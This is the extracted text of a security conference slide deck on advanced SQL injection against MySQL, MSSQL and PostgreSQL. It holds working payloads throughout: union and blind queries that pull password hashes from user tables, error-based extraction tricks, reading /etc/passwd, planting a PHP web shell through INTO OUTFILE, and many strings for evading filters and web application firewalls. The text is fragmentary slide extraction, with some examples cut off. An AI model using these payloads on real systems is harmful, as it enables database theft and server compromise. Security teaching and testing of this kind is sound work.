Advanced SQL Injection: Dmitry Evteev (Positive Technologies) Web Application Security Consortium (WASC) Contributor
Advanced SQL Injection: Dmitry Evteev (Positive Technologies) Web Application Security Consortium (WASC) Contributor
Conclusions
Introduction to Web Application Security
Unsafe World of Web Applications
The data is based on automatic scanning of 16121 systems, detailed analysis of 59 web applications
including analysis of the source code of over 10 applications.
Unsafe World of Web Applications: Statistics 2008
Chapter 1: SQL Injection Vulnerability
….
SELECT * from news where id = 6329
….
Illustrative Example of SQL Injection
….
SELECT * from news where id = 6329 union select id,pwd,0 from…
….
SQL Injection – Basic Concepts
SQL Injection
A method to attack a database bypassing firewalls. In this
method, parameters transmitted to the database via web
applications are modified so that the executable SQL request
changes.
SQL Injection can be exploited both during the attack conduction or after a
while
SQL Injection – Basic Concepts
http://site/?param=1" …
... …
... etc.
SQL Injection – Classical Exploitation (MySQL)
Vulnerability detection
/?id=1+ORDER+BY+100
/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)
+from+information_schema.columns
| 0 | table1:column1 |
| 0 | table1:column2 |
SQL Injection – Features of Different DBMSs
Request union union union and ; union union union union and ;
Availability of
v.5.0 >= Yes Yes Yes Yes Yes
information_schema or its analogs
• First entry
/?id=1 union select name,123 from users limit 0,1
• Second entry
/?id=1 union select name,123 from users limit 1,1
MSSQL
• First entry
/?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum,
name from users) as t where t.rownum=1
• Second entry
/?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum,
name from users) as t where t.rownum=2
PostgreSQL
• First entry
/?id=1 union select name, null from users limit 1 offset 0
• Second entry
/?id=1 union select name, null from users limit 1 offset 1
or
• First entry
/?id=1; select name, 123 from users limit 1 offset 0
• Second entry
/?id=1; select name, 123 from users limit 1 offset 1
Chapter 2: Blind SQL Injection
/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),1,1))=97,555,777)
SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users
limit 0,1),1,1))=97,555,777)
• If the table “users” contains a column “pass” and the first character of the first entry
in this column is 97 (letter “a”), then DBMS will return TRUE; otherwise, FALSE.
/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),2,1))=97,555,777)
SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users
limit 0,1),2,1))=97,555,777)
• If the table “users” contains a column “pass” and the second character of the first
entry in this column is 97 (letter «a») , then DBMS will return TRUE; otherwise, FALSE.
Blind SQL Injection – Classical Exploitation (MySQL)
Let’s go faster…
We can restrict the range of character search. For example, for MD5 it is [0-9a-f],
or 48-57, 97-102. Moreover, we can use the inequality signs!
• If the table “users” contains a column “pass” and the first character of the first entry in
this column is greater than 97 (letter “a”), then DBMS will return TRUE; otherwise, FALSE.
• If the table “users” contains a column “pass” and the first character of the second entry in
this column is lower than 102 (letter “f”), then DBMS will return TRUE; otherwise, FALSE.
• If the character being searched is lower than 100 (letter «d»), consequently, the character
either represents letter “d” or belongs to the range [a-c].
Blind SQL Injection – New Methods of Exploitation
(MySQL) …and even faster…
It is possible to find up to 12 characters using one request (method by Qwazar X07’09)
/?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,
(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,
(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,
(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,
(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,
(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,
(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,
(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,
(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,
(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,
(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,
• If the table “users” contains a column “pass” and the first character of the first entry in this column belongs
to the range [0-9a], then DBMS will return an error message. Otherwise, it will return 1, i.e. the request will
be correct.
Blind SQL Injection – New Methods of Exploitation
(MySQL) …at the same rate…
How does it work?
MySQL returns unique error messages using illegal regexps:
select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp
etc.
Note: in the example, hexadecimal equivalents were used, e.g. 0x787B312C307D instead x{1,0}
Request1
/?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,
(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,
(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,
(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,
(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,
(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,
(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,
(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,
(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,
(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,
(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1)))))))))))))
If the character does not belong to the range [0-9a], then the second request
is sent (checking [b-f])
/?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,
(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,
(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,
(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,
(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,
(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,
(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,
(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,
(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,
(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,
(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1)))))))))))))
Blind SQL Injection – New Methods of Exploitation
(MySQL) …at the maximal rate!
A new method using function ExtractValue() based on experiments
with function NAME_CONST() MySQL v. 5.0.12 > v.5.0.64 (X09’09)
conducted by Qwazar:
select 1 AND ExtractValue(1,concat(0x5C,('test')));
• As a result, the following error message can be received (if MySQL version is >=5.1)
The error message string cannot contain more than 31 characters. Function mid() and
such-like can be applied to display longer strings.
Blind SQL Injection – New Methods of Exploitation
(MySQL) The Rate Limit…
What if error messages are suppressed?
We can restrict the range of character search. For example, for MD5 this
range is [0-9a-f].
Implementation:
or
• In this example, “12345” and “123456” represent identifiers of news on the site.
Classical implementation:
• We can conjecture that the character was guessed right on the basis of the time delay
of web server response;
uid=80(www) gid=80(www)
• If you access a file created by DBMS, it is
necessary to keep in mind that the file owner
is the user called DBMS
uid=88(mysql) gid=88(mysql)
• Requests are received from the DBMS user (to
work with file system, privileges file_priv are
required)
• File system is accessed by the DBMS user
(appropriate permissions are required at the
ACL level)
• “Current directory” represents the DBMS
directory
Working with File System – Difference of DBMSs
LOAD_FILE
• union select load_file('/etc/passwd')
Own
Available functions No EXEC shell() Own procedures
procedures
• /?id=1+union+select+'<?eval($_request[shell]);?>'
+into+outfile+'/www/img/shell.php'
• /img/shell.php?shell=passthru('ls');
Chapter 4: Methods to Bypass Security Filters
• Universal
Example: addslashes(), addcslashes(), htmlspecialchars(), etc
• Type casting
• Example:
hex(AES_ENCRYPT('qwerty',1)) is B969A9A01DA8E78FA8DD7E299C9CF23D
aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x
9C,0x9C,0xF2,0x3D),1) is qwerty
Methods to Bypass Security Filters (2)
• Function synonyms
CHARACTER_LENGTH() -> CHAR_LENGTH()
etc.
concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-
4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))
Methods to Bypass Security Filters
/?id=1+union+(select+1,2+from+test.users)
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users))
/?id=1+union+(sELect'1',concat(login,hash)from+test.users)
/?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))
/?id=(1);exec('sel'+'ect'(1))
/?id=(1)or(0x50=0x50)
…
Methods to Bypass Security Filters (3)
/?param=1234
/?param=1+union+select+1
/?param=123%00
/?param=1/*%00*/union+select+1
Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-
addslashes/
Methods to Bypass Security Filters (5)
/?id=1+union+select+1,2,3/*
/?id=1+un/**/ion+sel/**/ect+1,2,3--
Any set of characters that is cut by the filter (e.g. #####, %00, etc.) can be used
instead of /**/
At attack is detected!
http://server/?id=6329&print=Y Alarm!!!
WAF Webserver
http://server/?id=5351
http://server/?id=8234
Data normalization
Decode HTML entities (e.g. c, ", ª)
Escaped characters (e.g. \t, \001, \xAA, \uAABB)
Null byte string termination
...
Signature search
/(sel)(ect.+fr)(om)/is
http://server/?id=1+union+select... /(uni)(on.+sel)(ect)/is
http://server/?id=“><script>... ...
http://server/?id=/../../../etc/passwd
Classification
• Bridge/Router
• Reverse Proxy
• Built-in
• Signature-based
• Rule-based
General problems
Implementation Vulnerabilities
• Normalization techniques
/?id=1+union+select+1,2,3/*
/?id=1/*union*/union/*select*/select+1,2,3/*
/?id=1;select+1,2,3+from+users+where+id=1--
/?id=1;select+1&id=2,3+from+users+where+id=1--
• Vulnerable code
/?
id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id
=*/users
Lavakumar Kuppan,
http://lavakumar.com/Split_and_Join.pdf
Practice of Bypassing WAF: SQL Injection – HPF
/?a=1+union+select+1,2/*
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
• http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html
Practice of Bypassing WAF: Blind SQL Injection
• The following requests allow one to conduct a successful attack for many WAFs
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Negation and inequality signs (!=, <>, <, >) can be used instead of the
equality one – It is amazing, but many WAFs miss it!
The given example is valid for all WAFs whose developers aim to cover as
many web-applications as possible
Practice of Bypassing WAF: Blind SQL Injection
Known:
New:
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first argument
is smaller than the second one, and 1 otherwise
http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html
Practice of Bypassing WAF: Blind SQL Injection
• Exploitation examples
false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233
false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233
true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233
false: ...
false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B112233
true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B112233
Forbid: /?id=1+union+select+user,password+from+mysql.user+where+user=1
Forbid: /?id=1+OR+1=1
Forbid: /?id=substring((1),1,1)
Forbid: /?
id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74
But allows: /?
id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Forbid: /?id=1+OR+1=1
Forbid: /?id=1+and+5=6
sqlmap (http://sqlmap.sourceforge.net/)
• Full support: MySQL, Oracle, PostgreSQL и Microsoft SQL Server
• Partial support: Microsoft Access, DB2, Informix, Sybase и Interbase
sqlus (http://sqlsus.sourceforge.net/)
• Only MySQL support is implemented
bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/
• It isn’t oriented on Blind SQL Injections any more. The following systems
are supported: MySQL, Oracle, PostgreSQL, and Microsoft SQL Server
WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
Securitylab: http://www.securitylab.ru/
Antichat resources:
• MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html
• MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
• MSSQL: http://forum.antichat.ru/thread15087.html
• ORACLE: http://forum.antichat.ru/showthread.php?t=40576
• PostgreSQL: http://forum.antichat.ru/thread35599.html
• MSAccess: http://forum.antichat.ru/thread50550.html
Thank you for your
attention!
[email protected]
http://devteev.blogspot.com/